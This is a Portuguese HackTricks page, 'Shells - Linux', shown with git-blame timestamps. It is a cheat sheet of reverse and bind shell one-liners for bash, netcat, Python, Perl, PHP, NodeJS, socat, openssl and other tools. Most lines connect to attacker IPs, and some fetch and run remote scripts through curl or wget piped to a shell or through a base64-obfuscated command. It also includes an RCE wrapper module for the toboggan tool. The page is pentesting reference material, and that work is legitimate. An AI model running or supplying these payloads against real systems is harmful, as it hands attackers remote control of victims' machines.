2022-05-11 14:59:34 +00:00
# Shells - Linux
2022-04-28 16:01:33 +00:00
< details >
2024-03-24 12:25:47 +00:00
< summary > < strong > Aprenda hacking na AWS do zero ao herói com< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-06 03:39:16 +00:00
Outras maneiras de apoiar o HackTricks:
2023-12-30 22:28:51 +00:00
2024-03-14 23:33:23 +00:00
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA** ](https://github.com/sponsors/carlospolop )!
* Adquira o [**swag oficial PEASS & HackTricks** ](https://peass.creator-spring.com )
2024-02-06 03:39:16 +00:00
* Descubra [**A Família PEASS** ](https://opensea.io/collection/the-peass-family ), nossa coleção exclusiva de [**NFTs** ](https://opensea.io/collection/the-peass-family )
2024-03-09 13:15:58 +00:00
* **Junte-se ao** 💬 [**grupo Discord** ](https://discord.gg/hRep4RUj7f ) ou ao [**grupo telegram** ](https://t.me/peass ) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
2024-03-14 23:33:23 +00:00
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) e [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ).
2022-04-28 16:01:33 +00:00
< / details >
2024-03-14 23:33:23 +00:00
**Grupo de Segurança Try Hard**
2024-03-24 12:25:47 +00:00
< figure > < img src = "/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt = "" > < figcaption > < / figcaption > < / figure >
2024-03-14 23:33:23 +00:00
{% embed url="https://discord.gg/tryhardsecurity" %}
***
2024-03-10 13:33:35 +00:00
**Se você tiver dúvidas sobre algum desses shells, você pode verificá-los em** [**https://explainshell.com/** ](https://explainshell.com )
2020-10-17 17:35:35 +00:00
2024-02-07 05:33:07 +00:00
## TTY Completo
2020-08-19 11:54:25 +00:00
2024-03-10 13:33:35 +00:00
**Depois de obter um shell reverso**[ **leia esta página para obter um TTY completo** ](full-ttys.md)**.**
2020-08-19 11:54:25 +00:00
2022-05-11 14:59:34 +00:00
## Bash | sh
2020-07-15 15:43:14 +00:00
```bash
2022-05-11 14:59:34 +00:00
curl https://reverse-shell.sh/1.1.1.1:3000 | bash
2020-07-15 15:43:14 +00:00
bash -i >& /dev/tcp/< ATTACKER-IP > /< PORT > 0>& 1
2023-03-30 19:24:10 +00:00
bash -i >& /dev/udp/127.0.0.1/4242 0>& 1 #UDP
2020-07-15 15:43:14 +00:00
0< &196; exec 196< >/dev/tcp/< ATTACKER-IP > /< PORT > ; sh < & 196 >& 196 2>& 196
exec 5< >/dev/tcp/< ATTACKER-IP > /< PORT > ; while read line 0< &5; do $line 2>& 5 >&5; done
2023-03-30 19:24:10 +00:00
#Short and bypass (credits to Dikline)
2021-03-30 00:10:09 +00:00
(sh)0>/dev/tcp/10.10.10.10/9091
2022-09-13 16:41:09 +00:00
#after getting the previous shell to get the output to execute
2021-03-30 00:10:09 +00:00
exec >& 0
2020-07-15 15:43:14 +00:00
```
2023-12-30 22:28:51 +00:00
### Shell seguro de símbolos
2024-02-06 03:39:16 +00:00
Não se esqueça de verificar com outros shells: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh e bash.
2020-07-15 15:43:14 +00:00
```bash
#If you need a more stable connection do:
2020-11-05 20:05:40 +00:00
bash -c 'bash -i >& /dev/tcp/< ATTACKER-IP > /< PORT > 0>& 1'
2020-07-15 15:43:14 +00:00
#Stealthier method
2020-11-05 20:05:40 +00:00
#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0
2020-07-15 15:43:14 +00:00
echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null
```
2023-06-06 18:56:34 +00:00
#### Explicação do Shell
2020-07-15 15:43:14 +00:00
2024-03-09 13:28:56 +00:00
1. ** `bash -i` **: Esta parte do comando inicia um shell Bash interativo (`-i`).
2023-09-03 01:19:04 +00:00
2. ** `>&` **: Esta parte do comando é uma notação abreviada para **redirecionar tanto a saída padrão** (`stdout`) quanto o **erro padrão** (`stderr`) para o **mesmo destino** .
2024-02-06 03:39:16 +00:00
3. ** `/dev/tcp/<IP-DO-ATAQUE>/<PORTA>` **: Este é um arquivo especial que **representa uma conexão TCP com o endereço IP e porta especificados** .
* Ao **redirecionar os fluxos de saída e erro para este arquivo** , o comando envia efetivamente a saída da sessão do shell interativo para a máquina do atacante.
2023-06-06 18:56:34 +00:00
4. ** `0>&1` **: Esta parte do comando **redireciona a entrada padrão (`stdin`) para o mesmo destino que a saída padrão (`stdout`)** .
2020-11-15 22:04:11 +00:00
2023-06-06 18:56:34 +00:00
### Criar em arquivo e executar
2020-11-15 22:04:11 +00:00
```bash
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1< ATTACKER-IP > /< PORT > 0>& 1' > /tmp/sh.sh; bash /tmp/sh.sh;
2020-11-15 22:28:16 +00:00
wget http://< IP attacker > /shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh
2020-11-15 22:04:11 +00:00
```
2024-03-14 23:33:23 +00:00
## Shell Avançado
2020-11-15 22:04:11 +00:00
2024-03-24 12:25:47 +00:00
Ao lidar com uma vulnerabilidade de **Execução de Código Remoto (RCE)** em uma aplicação web baseada em Linux, alcançar um shell reverso pode ser obstruído por defesas de rede como regras iptables ou mecanismos complexos de filtragem de pacotes. Em ambientes tão restritos, uma abordagem alternativa envolve estabelecer um shell PTY (Pseudo Terminal) para interagir com o sistema comprometido de forma mais eficaz.
2024-02-07 05:33:07 +00:00
2024-03-10 13:33:35 +00:00
Uma ferramenta recomendada para esse fim é o [toboggan ](https://github.com/n3rada/toboggan.git ), que simplifica a interação com o ambiente alvo.
Para utilizar o toboggan de forma eficaz, crie um módulo Python adaptado ao contexto de RCE do seu sistema alvo. Por exemplo, um módulo chamado `nix.py` poderia ser estruturado da seguinte forma:
```python3
import jwt
import httpx
def execute(command: str, timeout: float = None) -> str:
# Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution
token = jwt.encode(
{"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*& L7%F24zEUnWZ8AeMu7^", algorithm="HS256"
)
response = httpx.get(
url="https://vulnerable.io:3200",
headers={"Authorization": f"Bearer {token}"},
timeout=timeout,
# ||BURP||
verify=False,
)
# Check if the request was successful
response.raise_for_status()
return response.text
```
E então, você pode executar:
```shell
toboggan -m nix.py -i
```
Para alavancar diretamente um shell interativo. Você pode adicionar `-b` para integração com o Burpsuite e remover o `-i` para um invólucro rce mais básico.
Outra possibilidade consiste em usar a implementação de shell avançado `IppSec` [**https://github.com/IppSec/forward-shell** ](https://github.com/IppSec/forward-shell ).
2022-02-09 20:23:12 +00:00
2024-02-07 05:33:07 +00:00
Você só precisa modificar:
2022-02-09 20:23:12 +00:00
2024-02-07 05:33:07 +00:00
* A URL do host vulnerável
2024-03-10 13:33:35 +00:00
* O prefixo e sufixo da sua carga útil (se houver)
2024-03-09 13:28:56 +00:00
* A forma como a carga útil é enviada (cabeçalhos? dados? informações extras?)
2022-02-09 20:23:12 +00:00
2024-03-24 12:25:47 +00:00
Em seguida, você pode simplesmente **enviar comandos** ou até mesmo **usar o comando `upgrade`** para obter um PTY completo (observe que os pipes são lidos e escritos com um atraso aproximado de 1,3s).
2022-02-09 20:23:12 +00:00
2022-05-11 14:59:34 +00:00
## Netcat
2020-07-15 15:43:14 +00:00
```bash
nc -e /bin/sh < ATTACKER-IP > < PORT >
nc < ATTACKER-IP > < PORT > | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>& 1|nc < ATTACKER-IP > < PORT > >/tmp/f
nc < ATTACKER-IP > < PORT1 > | /bin/bash | nc < ATTACKER-IP > < PORT2 >
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0< /tmp/bkpipe | nc < ATTACKER-IP > < PORT > 1>/tmp/bkpipe
```
2023-05-15 10:19:32 +00:00
## gsocket
2023-06-06 18:56:34 +00:00
Verifique em [https://www.gsocket.io/deploy/ ](https://www.gsocket.io/deploy/ )
2023-05-15 10:19:32 +00:00
```bash
bash -c "$(curl -fsSL gsocket.io/x)"
```
2023-12-30 22:28:51 +00:00
## Telnet
2024-02-06 03:39:16 +00:00
2024-03-24 12:25:47 +00:00
Telnet é um protocolo de rede que permite a comunicação remota com um dispositivo usando um terminal virtual. É comumente usado para acessar e gerenciar dispositivos de rede, como roteadores e switches.
2020-07-15 15:43:14 +00:00
```bash
telnet < ATTACKER-IP > < PORT > | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>& 1|telnet < ATTACKER-IP > < PORT > >/tmp/f
telnet < ATTACKER-IP > < PORT > | /bin/bash | telnet < ATTACKER-IP > < PORT >
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0< /tmp/bkpipe | telnet < ATTACKER-IP > < PORT > 1>/tmp/bkpipe
```
2022-05-11 14:59:34 +00:00
## Whois
2020-07-15 15:43:14 +00:00
2023-06-06 18:56:34 +00:00
**Atacante**
2020-07-15 15:43:14 +00:00
```bash
while true; do nc -l < port > ; done
```
2024-02-06 03:39:16 +00:00
Para enviar o comando, escreva-o, pressione enter e pressione CTRL+D (para parar o STDIN)
2020-07-15 15:43:14 +00:00
2023-06-06 18:56:34 +00:00
**Vítima**
2020-07-15 15:43:14 +00:00
```bash
export X=Connected; while true; do X=`eval $(whois -h < IP > -p < Port > "Output: $X")`; sleep 1; done
```
2022-05-11 14:59:34 +00:00
## Python
2020-07-15 15:43:14 +00:00
```bash
#Linux
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
#IPv6
2023-09-03 01:19:04 +00:00
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
2020-07-15 15:43:14 +00:00
```
2022-05-11 14:59:34 +00:00
## Perl
2024-03-09 13:15:58 +00:00
2024-03-24 12:25:47 +00:00
Perl é uma linguagem de programação amplamente utilizada em hacking ético devido à sua capacidade de manipular strings, realizar operações de rede e executar comandos do sistema. Perl é conhecido por sua flexibilidade e expressividade, tornando-o uma escolha popular para tarefas de scripting durante testes de penetração.
2020-07-15 15:43:14 +00:00
```bash
perl -e 'use Socket;$i="< ATTACKER-IP > ";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while< >;'
```
2022-05-11 14:59:34 +00:00
## Ruby
2020-07-15 15:43:14 +00:00
```bash
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i < & %d >& %d 2>& %d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```
2022-05-11 14:59:34 +00:00
## PHP
2022-07-01 18:36:12 +00:00
```php
2022-09-13 16:41:09 +00:00
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
2022-07-01 18:36:12 +00:00
// Using this method may lead to instances where the connection reaches out to the listener and then closes.
2020-07-15 15:43:14 +00:00
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i < & 3 >& 3 2>&3"); '
2022-07-01 18:36:12 +00:00
// Using 'proc_open' makes no assumptions about what the file descriptor will be.
// See https://security.stackexchange.com/a/198944 for more information
<?php $sock=fsockopen("10.0.0.1",1234);$proc=proc_open("/bin/sh -i",array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>
2021-09-02 21:18:04 +00:00
<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>
2020-07-15 15:43:14 +00:00
```
2022-05-11 14:59:34 +00:00
## Java
2020-07-15 15:43:14 +00:00
```bash
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5< >/dev/tcp/ATTACKING-IP/80;cat <& 5 | while read line; do \$line 2>& 5 >&5; done"] as String[])
p.waitFor()
```
2022-05-11 14:59:34 +00:00
## Ncat
2020-07-15 15:43:14 +00:00
```bash
victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl
attacker> ncat -v 10.0.0.22 4444 --ssl
```
2024-02-06 03:39:16 +00:00
## Golang
2020-07-15 15:43:14 +00:00
```bash
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go & & go run /tmp/t.go & & rm /tmp/t.go
```
2023-12-30 22:28:51 +00:00
## Lua
2020-07-15 15:43:14 +00:00
```bash
#Linux
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i < & 3 >& 3 2>&3'); "
#Windows & Linux
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
```
2022-05-11 14:59:34 +00:00
## NodeJS
2020-07-15 15:43:14 +00:00
```javascript
(function(){
2023-09-03 01:19:04 +00:00
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "10.17.26.64", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
2020-07-15 15:43:14 +00:00
})();
or
require('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')
2021-11-08 23:40:13 +00:00
require('child_process').exec("bash -c 'bash -i >& /dev/tcp/10.10.14.2/6767 0>& 1'")
2020-07-15 15:43:14 +00:00
or
-var x = global.process.mainModule.require
-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')
or
2022-05-29 23:24:32 +00:00
// If you get to the constructor of a function you can define and execute another function inside a string
"".sub.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
"".__proto__.constructor.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
or
// Abuse this syntax to get a reverse shell
var fs = this.process.binding('fs');
var fs = process.binding('fs');
or
2020-07-15 15:43:14 +00:00
https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
```
2022-10-17 15:02:34 +00:00
## OpenSSL
2020-07-15 15:43:14 +00:00
2023-06-06 18:56:34 +00:00
O Atacante (Kali)
2020-07-15 15:43:14 +00:00
```bash
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port < l_port > #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port < l_port2 > #Here yo will be able to get the response
```
2023-12-30 22:28:51 +00:00
A Vítima
2020-07-15 15:43:14 +00:00
```bash
#Linux
openssl s_client -quiet -connect < ATTACKER_IP > :< PORT1 > |/bin/bash|openssl s_client -quiet -connect < ATTACKER_IP > :< PORT2 >
#Windows
openssl.exe s_client -quiet -connect < ATTACKER_IP > :< PORT1 > |cmd.exe|openssl s_client -quiet -connect < ATTACKER_IP > :< PORT2 >
```
2022-05-11 14:59:34 +00:00
## **Socat**
2020-07-15 15:43:14 +00:00
[https://github.com/andrew-d/static-binaries ](https://github.com/andrew-d/static-binaries )
2024-03-09 13:28:56 +00:00
### Shell de Ligação
2020-07-15 15:43:14 +00:00
```bash
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
2023-09-03 01:19:04 +00:00
attacker> socat FILE:`tty`,raw,echo=0 TCP:< victim_ip > :1337
2020-07-15 15:43:14 +00:00
```
2024-02-06 03:39:16 +00:00
### Shell reverso
2020-07-15 15:43:14 +00:00
```bash
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:< attackers_ip > :1337 EXEC:bash,pty,stderr,setsid,sigint,sane
```
2022-05-11 14:59:34 +00:00
## Awk
2020-07-15 15:43:14 +00:00
```bash
awk 'BEGIN {s = "/inet/tcp/0/< IP > /< PORT > "; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
```
2024-02-06 03:39:16 +00:00
## Dedo
2023-12-30 22:28:51 +00:00
**Atacante**
2020-07-15 15:43:14 +00:00
```bash
while true; do nc -l 79; done
```
2024-02-06 03:39:16 +00:00
Para enviar o comando, escreva-o, pressione enter e pressione CTRL+D (para parar o STDIN)
2020-07-15 15:43:14 +00:00
2023-06-06 18:56:34 +00:00
**Vítima**
2020-07-15 15:43:14 +00:00
```bash
export X=Connected; while true; do X=`eval $(finger "$X"@< IP > 2> /dev/null')`; sleep 1; done
export X=Connected; while true; do X=`eval $(finger "$X"@< IP > 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done
```
2022-05-11 14:59:34 +00:00
## Gawk
2020-07-15 15:43:14 +00:00
```bash
#!/usr/bin/gawk -f
BEGIN {
2023-09-03 01:19:04 +00:00
Port = 8080
Prompt = "bkd> "
Service = "/inet/tcp/" Port "/0/0"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
2020-07-15 15:43:14 +00:00
}
```
2022-05-11 14:59:34 +00:00
## Xterm
2020-07-15 15:43:14 +00:00
2024-02-07 05:33:07 +00:00
Isso tentará se conectar ao seu sistema na porta 6001:
2020-07-15 15:43:14 +00:00
```bash
xterm -display 10.0.0.1:1
```
2024-03-24 12:25:47 +00:00
Para capturar o shell reverso, você pode usar (que estará ouvindo na porta 6001):
2020-07-15 15:43:14 +00:00
```bash
2024-02-07 05:33:07 +00:00
# Authorize host
2020-07-15 15:43:14 +00:00
xhost +targetip
2024-02-07 05:33:07 +00:00
# Listen
Xnest :1
2020-07-15 15:43:14 +00:00
```
2022-05-11 14:59:34 +00:00
## Groovy
2020-07-15 15:43:14 +00:00
2024-02-06 03:39:16 +00:00
por [frohoff ](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76 ) NOTA: O shell reverso Java também funciona para Groovy
2020-07-15 15:43:14 +00:00
```bash
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```
2024-02-07 05:33:07 +00:00
## Referências
2024-03-09 13:15:58 +00:00
2024-02-07 05:33:07 +00:00
* [https://highon.coffee/blog/reverse-shell-cheat-sheet/ ](https://highon.coffee/blog/reverse-shell-cheat-sheet/ )
* [http://pentestmonkey.net/cheat-sheet/shells/reverse-shell ](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell )
* [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/ ](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/ )
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md ](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md )
2020-07-15 15:43:14 +00:00
2024-03-24 12:25:47 +00:00
**Grupo de Segurança Try Hard**
2024-03-14 23:33:23 +00:00
2024-03-24 12:25:47 +00:00
< figure > < img src = "/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt = "" > < figcaption > < / figcaption > < / figure >
2024-03-14 23:33:23 +00:00
{% embed url="https://discord.gg/tryhardsecurity" %}
2022-04-28 16:01:33 +00:00
< details >
2024-03-09 13:15:58 +00:00
< summary > < strong > Aprenda hacking AWS do zero ao herói com< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2023-12-30 22:28:51 +00:00
2024-03-09 13:15:58 +00:00
Outras formas de apoiar o HackTricks:
2022-04-28 16:01:33 +00:00
2024-03-14 23:33:23 +00:00
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** , verifique os [**PLANOS DE ASSINATURA** ](https://github.com/sponsors/carlospolop )!
2024-03-24 12:25:47 +00:00
* Adquira o [**oficial PEASS & HackTricks swag** ](https://peass.creator-spring.com )
* Descubra [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), nossa coleção exclusiva de [**NFTs** ](https://opensea.io/collection/the-peass-family )
2024-03-09 13:15:58 +00:00
* **Junte-se ao** 💬 [**grupo Discord** ](https://discord.gg/hRep4RUj7f ) ou ao [**grupo telegram** ](https://t.me/peass ) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
2024-03-09 13:28:56 +00:00
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) e [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ).
2022-04-28 16:01:33 +00:00
< / details >